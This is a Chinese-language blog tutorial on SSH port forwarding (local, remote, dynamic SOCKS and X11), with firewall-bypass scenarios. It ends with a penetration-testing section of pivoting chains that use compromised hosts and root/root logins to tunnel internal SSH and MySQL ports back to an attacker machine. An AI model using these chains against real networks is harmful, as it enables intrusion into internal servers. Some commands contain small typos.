8、SSH埠轉發情景模擬

FLy_鵬程萬里發表於2018-06-10

SSH會自動加密和解密所有SSH客戶端與服務端之間的網路資料。這一過程有時也被叫做“隧道”(tunneling),這是因為SSH為其他TCP連結提供了一個安全的通道來進行傳輸而得名。例如,Telnet,SMTP,LDAP這些TCP應用均能夠從中得益,避免了使用者名稱,密碼以及隱私資訊的明文傳輸。而與此同時,如果您工作環境中的防火牆限制了一些網路埠的使用,但是允許SSH的連線,那麼也能夠通過將 TCP 埠轉發來使用 SSH 進行通訊。

(一)概述

SSH埠轉發能夠將其他TCP埠的網路資料通過SSH連結來轉發,並且自動提供了相應的加密及解密服務。

(二)功能

1、加密SSH Client端至SSH Server端之間的通訊資料。

2、突破防火牆的限制完成一些之前無法建立的TCP連線。

(三)   方式

共有四種方式,分別為本地轉發,遠端轉發,動態轉發,X協議轉發

(I)本地埠轉發

SSH連線和應用的連線這兩個連線的方向一致

ssh -L [<localhost>:]<local port>:<remote host>:<remote port> <SSHhostname>,Localhost引數可省略,預設為0:0:0:0,但為了安全性考慮務必使用127.0.0.1作為本地監聽埠。

將本地機(客戶機)的某個埠轉發到遠端指定機器的指定埠;本地埠轉發是在localhost上監聽一個埠,所有訪問這個埠的資料都會通過ssh 隧道傳輸到遠端的對應埠。

如下:

localhost: ssh -L 7001:localhost:7070 sisca@216.194.70.6

登陸前本地主機埠監聽狀態:


登陸後本地主機埠監聽狀態:


登陸後遠端主機不會監聽埠。

小結:本地埠轉發的時候,本地的ssh在監聽7001埠。

(Ⅱ)遠端埠轉發

SSH連線和應用的連線這兩個連線的方向相反

ssh -R [<localhost>:]<local port>:<remote host>:<remote port> <SSHhostname>,Localhost引數可省略,預設為0:0:0:0,為了安全性務必使用127.0.0.1作為本地監聽埠。

將遠端主機(伺服器)的某個埠轉發到本地端指定機器的指定埠;遠端埠轉發是在遠端主機上監聽一個埠,所有訪問遠端伺服器的指定埠的資料都會通過ssh 隧道傳輸到本地的對應埠。

如下:

localhost: ssh -R 7001:localhost:7070 sisca@216.194.70.6

登陸前本地主機埠監聽狀態:


登陸後本地主機埠監聽狀態:


登陸後遠端主機埠監聽狀態:

5.png

小結:使用遠端埠轉發時,本地主機的埠監聽並沒有發生變化,相反遠端主機卻開始監聽我們指定的7001埠。

(Ⅲ)動態埠轉發

把遠端ssh伺服器當作了一個安全的代理伺服器

ssh -D [<localhost>:]<local port> <SSH hostname>,Localhost引數可省略,預設為0:0:0:0,為了安全性務必使用127.0.0.1作為本地監聽埠。

建立一個動態的SOCKS4/5的代理通道,緊接著的是本地監聽的埠號;動態埠轉發是建立一個ssh加密的SOCKS4/5代理通道,任何支援SOCKS4/5協議的程式都可以使用這個加密的通道來進行代理訪問,現在這種方法最常用的地方就是翻牆。

如下:

localhost: ssh -D 7070 sisca@216.194.70.6

登陸前本地主機埠監聽狀態:


登陸後本地主機埠監聽狀態:


小結:使用動態埠轉發時,本地主機的ssh程式在監聽指定的7070埠。

(Ⅳ)X協議轉發

 把遠端ssh伺服器當作了一個安全的代理伺服器。

 ssh -X  <SSH hostname>

如,我們可能會經常會遠端登入到 Linux/Unix/Solaris/HP等機器上去做一些開發或者維護,也經常需要以GUI方式執行一些程式,比如要求圖形化介面來安裝 DB2/WebSphere 等等。這時候通常有兩種選擇來實現:VNC或者X視窗,讓我們來看看後者。一個比較常見的場景是,我們的本地機器是Windows作業系統,這時可以選擇開源的XMing來作為我們的XServer,而SSH Client則可以任意選擇了,例如PuTTY,Cygwin均可以配置訪問SSH的同時建立X轉發。  

SSH埠轉發除上述四個代表不同工作方式的引數外還有一些附屬引數:   

-C:壓縮資料傳輸

-N:不執行指令碼或命令,通常與-f連用

-f:後臺認證使用者/密碼,通常與-N連用,不用登陸到遠端主機,如果通過其他程式控制隧道連線,應當避免將SSH客戶端放到後臺執行,也就是去掉-f引數。

-g:在-L/-D/-R引數中,允許遠端主機連線到建立的轉發埠,如果不加這個引數,只允許本地主機建立連線。

(四)場景模擬

場景一:將本機的80埠轉發到174.139.9.66的8080埠

ssh  -CfgNL 80:174.139.9.66:8080master@174.139.9.66

接著會提示輸入master的密碼,或使用-pw引數完成

場景二:一次同時對映多個埠

Ssh -L8888:www.host.com:80 -L 110:mail.host.com:110 -L    25:mail.host.com:25 user@host,同時把伺服器(www.host.com)的80,110,25埠對映到本機的8888,110和25埠

場景三:A內網主機能放問公網的123.123.123.123的22埠,但是不能訪問公網234.234.234.234的21埠,但是這兩臺公網主機能互訪。

A主機:ssh -CNfg –L 2121:234.234.234.234:21–pw abc123 user@123.123.123.123 ;然後A主機:ftp://localhost:2121

前提是獲取123.123.123.123的22埠賬號口令(普通和root口令均可以,區別是轉發的埠問題)

場景四:A內網主機能放問公網的123.123.123.123的22埠,但是公網B主機123.123.123.123不能訪問內網的A主機。

 A主機:ssh -CNfg –R 2222:127.0.0.1:22–pw abc123 user@123.123.123.123;B主機:ssh 127.0.0.1 –p 2222

前提是B主機開放22埠,賬號口令(自建ssh伺服器,或用肉雞),灰鴿子木馬用的也是反向連結,Destination (LAN_ip) <- |NAT| <- Source (home_ip)

場景五:A內網主機只能訪問公網的123.123.123.123,但是A如果想訪問公網的很多資源。

 A主機:ssh -CNf –D 1080 –pwabc123 user@123.123.123.123;A主機瀏覽器socks 5 proxy設定為localhost:8888,所有之前無法訪問的網站現在都可以訪問。

場景六:A內網主機開了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務,無合法ip 地址;外網主機B(123.123.123.123),開了sshd 服務,有合法 ip ;我們的目的是讓 internet 上的任何主機能訪問A上的各種服務。

B主機:sshd服務端做點小小的設定:vi /etc/ssh/sshd.config加入 GatewayPorts yes,然後重啟sshd服務:/etc /init.d/ssh restart 或 /etc/init.d/sshd restart或使用-g引數

A主機:ssh -CNf –R21:127.0.0.1:21 –pw abc123 user@123.123.123.123

公網其它主機:ftp://123.123.123.123:21

場景七:A內網主機開了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務,無合法ip 地址;外網主機 B(123.123.123.123) 開了sshd 服務,有合法 ip ;我們的目的是讓 internet 上的任何主機能訪問 A 上的各種服務。

A主機:ssh -CN –R1234:127.0.0.1:80 –pw abc123 user@123.123.123.123

B主機:socattcp-listen:80,reuseaddr,fork tcp:localhost:1234

公網其它主機:http://123.123.123.123:80,此時就是訪問內網主機的80埠

場景八:PuTTY自帶的plink.exe實現ssh代理

 


PLINK.EXE-C -N -D 127.0.0.1:7000 est@202.115.22.x[:21314]

ssh -CfNg -D127.0.0.1:7000 est@202.115.22.x:21314

(五)   滲透情景模擬

A為攻擊主機,開啟的ssh服務

B為web/應用/資料庫伺服器,開啟22/80/3306埠

D為肉雞,開啟22埠

情景一:


方法一:socks5代理

A: ssh –D 8080 root@B_IP –pw root

方法二:本地埠轉發(B的3306埠)

A:ssh –L 3306:B_IP:3306 –pw root root@B_IP

方法三:遠端埠轉發

B: ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

情景二:


法一:socks5代理

A:ssh -D 8080 root@A_IP –pw root

B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP

法二:遠端埠轉發(將3306埠轉發)

B:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

情景三:


法一:socks5代理

A:ssh -D 8080 root@A_IP -pw root

B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP

法二:遠端埠轉發(將3306埠轉發)

B:ssh -R 3306:C_IP:3306 -pw root root@A_IP

法三:

B:ssh –L 1234:C_IP:3306 –pw root root@C_IP

B:ssh –R 3306:127.0.0.1:1234 –pw root root@A_IP

情景四:




22埠轉發

A: ssh –L 2222:B_IP:22 –pw root root@D_IP

3306埠轉發

D: ssh –L 3306:B_IP:3306 –pw root root@B_IP

A: ssh  -L 3306:D_IP:3306–pw root root@D_IP

二、


22埠轉發

B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP

A:ssh –L 2222:D_IP:2222 –pw root root@D_IP

3306埠轉發

B: ssh –L 3306:127.0.0.1:3306 –pw root root@D_IP

A: ssh  -L 3306:D_IP:3306–pw root root@D_IP

三、


22埠轉發

B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP

D:ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP

3306埠轉發

B: ssh –R 3306:127.0.0.1:3306 –pw root root@D_IP

D: ssh  -R3306:127.0.0.1:3306 –pw root root@A_IP

四、


22埠轉發

D: ssh –L 2222:B_IP:22 –pw root root@B_IP

D: ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP

3306埠轉發

D: ssh –L 3306:B_IP:3306 –pw root root@B_IP

D: ssh  -R3306:127.0.0.1:3306 –pw root root@A_IP

情景五:


一、


將C的3306埠轉發出來

D:ssh –L 3306:C_IP:3306 –pw root root@B_IP

A:ssh –L 3306:D_IP:3306 –pw root root@D_IP

二、


將C的3306埠轉發出來

B:ssh –R 3306:C_IP:3306 –pw root root@D_IP

A:ssh –L 3306:D_IP:3306 –pw root root@D_IP

三、


將C的3306埠轉發出來

B:ssh –R 3306:C_IP:3306 –pw root root@D_IP

D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

四、


將C的3306埠轉發出來

D:ssh –L 3306:C_IP:3306 –pw root root@B_IP

D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP

 通過將TCP連線轉發到SSH通道上以解決資料加密以及突破防火牆的種種限制。對一些已知埠號的應用,例如Telnet/LDAP/SMTP,我們可以使用本地埠轉發或者遠端埠轉發來達到目的。動態埠轉發則可以實現SOCKS代理從而加密以及突破防火牆對Web瀏覽的限制。當然,埠轉發還有很多好用的工具供大家選擇。本文參考了網上之前的文章,並加入了自己的理解,感興趣的話可以搞個環境實驗下,如有問題,希望各位批評指正。

參考:

實戰SSH埠轉發

SSH的埠轉發


相關文章